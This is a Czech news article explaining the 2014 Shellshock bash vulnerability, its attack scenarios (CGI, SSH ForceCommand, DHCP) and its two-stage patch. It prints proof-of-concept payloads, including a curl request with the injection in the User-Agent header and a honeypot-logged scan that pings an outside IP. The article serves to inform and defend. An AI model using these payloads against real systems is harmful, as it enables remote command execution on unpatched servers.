Díra v bashi, které si 20 let nikdo nevšiml

26. 9. 2014
Doba čtení: 6 minut

Sdílet

Ve středu odpoledne byla zveřejněna zpráva o kritické zranitelnosti nejpoužívanějšího linuxového shellu bash. A stejně jako nedávný Heartbleed je i tato chyba vzdáleně zneužitelná. Pojďme se podívat, jak může být chyba, označovaná jako Shellshock, v praxi zneužita a proč je potřeba aktualizovat bash podruhé.

Funkce, o které jsme nevěděli

Stejně jako v případě nedávného heartbleedu, jde o chybu ve funkci, kterou bash obsahuje velmi dlouho (přinejmenším od verze 1.14.0 z roku 1994; starší verze již nejsou na FTP), přestože o ní málokdo věděl. Konkrétně jde o možnost exportovat funkci tak, aby byla dostupná v podprocesu. Zadáte-li:

$ mojefunkce() {
>        echo "Ahoj světe"
> }
$ export -f mojefunkce 

bude vaše funkce exportována do podprocesů, takže spustíte-li následně podproces, například příkazem bash, bude funkce dostupná:

$ bash
$ mojefunkce
Ahoj světe
$ exit 

Není k dispozici mnoho kanálů, kterými by mohl shell tuto uživatelskou funkci předat, proto k předání používá proměnnou prostředí. Konkrétně volání export -f mojefunkce vytvoří v dětských procesech novou proměnnou prostředí shodného názvu, obsahující dvě kulaté závorky následované definicí funkce. Můžeme si to zkusit nasimulovat ručně:

$ druhafunkce="() { echo \"Ahoj druhý světe\"; }" bash
$ druhafunkce
Ahoj druhý světe
$ exit 

Bash při svém spuštění projde všechny proměnné prostředí a najde-li nějakou, jejíž obsah začíná dvěma kulatými závorkami, vyhodnotí její obsah, čímž je funkce nadefinovaná i v novém shellu.

Jaký shell nejčastěji používáte?

Eval is evil

Tím se dostáváme k tradiční poučce, která se objevuje v každé příručce programování každého jazyka, který obsahuje funkci eval. To je funkce, která umožňuje vyhodnotit své argumenty, jako by to byly příkazy. Tím se stává velmi nebezpečnou, zvláště pak, je-li jako její argument použit nedostatečně ošetřený vstup od uživatele. Ukažme si to na jednoduchém příkladu s hypotetickou funkcí, která spočítá uživatelem dodaný matematický výraz:

$ vyraz="1+1"
$ eval 'echo $(( '$vyraz' ))'
2
$ vyraz="1+1 )) ; echo HACKED ;#"
$ eval 'echo $(( '$vyraz' ))'
2
HACKED 

Zranitelnost bashe používá zcela totožný mechanizmus. Během načítání proměnných prostředí se při načítání funkce nezastaví na konci definice, ale vyhodnocuje dále:

$ tretifunkce="() { :; }; echo HACKED" bash
HACKED
$ exit 

Máme-li tedy možnost ovládat proměnné prostředí, můžeme donutit bash spustit libovolný příkaz. Zranitelnost dostala označení CVE-2014–6271.

Útok první: CGI

Common Gateway Interface je historický standard, který poprvé změnil web ze statického obsahu na dynamický. Webový server s patřičným nastavením při požadavku na CGI skript takový skript spustí, informace o spojení spolu s klientskými hlavičkami nastaví jako proměnné prostředí, data od klienta pošle na standardní vstup CGI skriptu a očekává, že skript na standardní výstup vytiskne obsah, který má být poslán klientovi. Pojďme si zkusit napsat a spustit jednoduchý CGI skript, který vypíše IP adresu klienta:

$ mkdir cgi-bin
$ cat > cgi-bin/ip.sh <<EOF
> #!/bin/bash
>
> echo -e "Content-type: text/plain\r\n\r"
> echo -e "\${REMOTE_ADDR}"
> EOF
$ chmod +x cgi-bin/ip.sh
$ python3 -m http.server --cgi 8080 

Nyní můžeme z jiného okna vyzkoušet správnou funkci příkazem curl. A budeme-li chtít zneužít uvedenou zranitelnost, stačí jen trochu upravit třeba název prohlížeče:

$ curl localhost:8080/cgi-bin/ip.sh
127.0.0.1
$ curl localhost:8080/cgi-bin/ip.sh -A '() { :; }; echo HACKED >>/tmp/hack'
127.0.0.1
$ cat /tmp/hack
HACKED 

V ohrožení jsou i PHP, Perl a další webové aplikace

Naprostá většina webových aplikací bash takto přímo nepoužívá, to ale neznamená, že nemohou být zranitelné. Stačí aby aplikace třeba v PHP v některém místě volala popen() nebo system() pro spuštění externích příkazů. Pokud se totiž aplikace nepostará o vyčištění prostředí, může škodlivá proměnná průchod PHP v klidu přečkat a zaútočit až v okamžiku, kdy kód v PHP zavolá (prostřednictvím bashe) externí příkaz. Týká se to ale naštěstí jen případů, kdy je webová aplikace propojena s web serverem prostřednictvím CGI, což se (mimo jiné z výkonnostních důvodů) příliš často nepoužívá.

Útok druhý: obcházení SSH omezení

Druhý snadno realizovaný útok se může týkat všech služeb, které k přístupu používaji SSH s omezením přístupu (příkladem budiž třeba Git repozitář). Takové služby obvykle vnutí uživateli (volbou ForceCommand v OpenSSH) spuštění kontrolního skriptu, který zkontroluje obsah proměnné SSH_ORIGINAL_COMMAND a uzná-li oprávněnost uživatelského požadavku, akci provede. Je-li tento kontrolní skript v bashi, je zneužití přímočaré, stačí jako příkaz použít výše uvedenou magickou sekvenci. Riziko se týká především „podomácku“ vyráběných kontrolních skriptů, nástroje jako Gitosis nebo Gitolite bash nejspíše nepoužívají.

Útok třetí: DHCP server s volbou navíc

Tento scénář je obzvláště pikantní: Přijdete do restaurace, připojíte svůj notebook k místní WiFi a… váš počítač je hacknut, a to dokonce s root oprávněním. Stačí k tomu DHCP server, který pošle speciálně upravenou konfigurační volbu. Bývá zvykem, že DHCP klient pro vlastní nastavení volá shell skripty a předává jim přijaté volby právě prostřednictvím prostředí. Pokud je jako shell použit zranitelný bash, útoku nic nebrání.

Krok stranou: Na neinteraktivní skripty se bash nehodí

Společným bodem popsaných scénářů vzdálené zranitelnosti je, že se týká neinteraktivních skriptů. Pro ty je použítí bashe často suboptimálním řešením, neboť bash obsahuje poměrně komplexní podporu interaktivní práce (například doplňování pomocí tabulátoru), které jsou pro neinteraktivní skripty zbytečné a jen zdržují načítání skriptu.

Proto také již před lety vznikl v Debianu odlehčený shell dash, který je uživatelsky nepřívětivý, ale za to mnohem menší a rychlejší. Podporuje standard POSIX, ne však již rozšíření, která jsou specifická pro bash. Skripty obsahující bashismy proto musí být upraveny. Zcela nezávisle na této konkrétní zranitelnosti však lze pro vývoj nových shell skriptů použití takovýchto odlehčených shellů jen doporučit.

Skenování internetu již probíhá

Netrvalo dlouho a po internetu se rozběhly první skeny snažící se odhalit tuto zranitelnost. Jeden takový zaznamenal i honeypot v síti CESNET:

GET / HTTP/1.0
Accept: */*
Cookie: () { :; }; ping -c 17 209.126.230.74
Host: () { :; }; ping -c 23 209.126.230.74
Referer: () { :; }; ping -c 11 209.126.230.74
User-Agent: shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html) 

Zajímavý je způsob „volání domů“ příkazem ping. Na odkazované adrese jsou pak k dispozici výsledky, podle kterých je zranitelných víc než tři tisíce serverů a to i přesto, že test probíhal na kořenovou URL a bez uvedení správné hlavičky Host:. Dá se tedy očekávat, že skutečný počet zranitelných serverů bude mnohem vyšší.

Záplata až na druhý pokus

Současně se zveřejněním zranitelnosti byly k dispozici opravené verze bashe přinejmenším pro Debian Wheezy a RHEL. Tavis Ormandy ovšem na Twitteru poukázal na to, že první záplata neřešila problém zcela, stále bylo možné vložením nekompletní definice funkce zapsat libovolný obsah do libovolného souboru:

$ ctvrtafunkce='() { (a)=>\' bash -c '/tmp/hack echo HACKED'
bash: ctvrtafunkce: řádek 1: chyba syntaxe poblíž neočekávaného tokenu „=“
bash: ctvrtafunkce: řádek 1: `'
bash: chyba při importu definice „ctvrtafunkce“
$ cat /tmp/hack
HACKED 

Tato zranitelnost dostala označení CVE-2014–7169 a její opravy jsou distribuovány od čtvrtečního odpoledne. Pokud jste tedy aktualizovali dříve, nezbývá než proces opakovat.

ict ve školství 24

Budou se podobné incidenty opakovat?

Podle toho, že se ani na první pokus nepodařilo bezpečně odstranit zranitelnost, je možné usuzovat, že zdrojový kód bash možná není v úplně nejlepší kondici. Vlna zájmu, kterou nedávno odhalená zranitelnost přitáhla, spolu s obrovským množstvím vzdáleně zneužitelných serverů, s jejichž kompromitací se nepochybně brzy začne, jistě způsobí, že parsovací funkce bashe budou dále podrobně zkoumány. Můžeme jen doufat, že případné další problémy budou při svém objevení náhlášeny namísto zneužití.

Je však třeba si uvědomit, že kromě možných zranitelností shellu jako takového je řádově vyšší obecný problém zranitelnosti nejrůznějších shellových skriptů. Není totiž vůbec jednoduché napsat složitější skript, který se bezpečně popere s libovolným vstupem, včetně vstupních dat obsahujících mezery, zpětná lomítka, dolary a uvozovky. Z toho důvodu se obecně doporučuje složitější problémy řešit raději v pokročilejších skriptovacích jazycích, jako jsou Python nebo Perl.

Další informace

Autor článku

Ondřej Caletka vystudoval obor Telekomunikační technika na ČVUT a dnes pracuje ve vzdělávacím oddělení RIPE NCC, mezinárodní asociaci koordinující internetové sítě.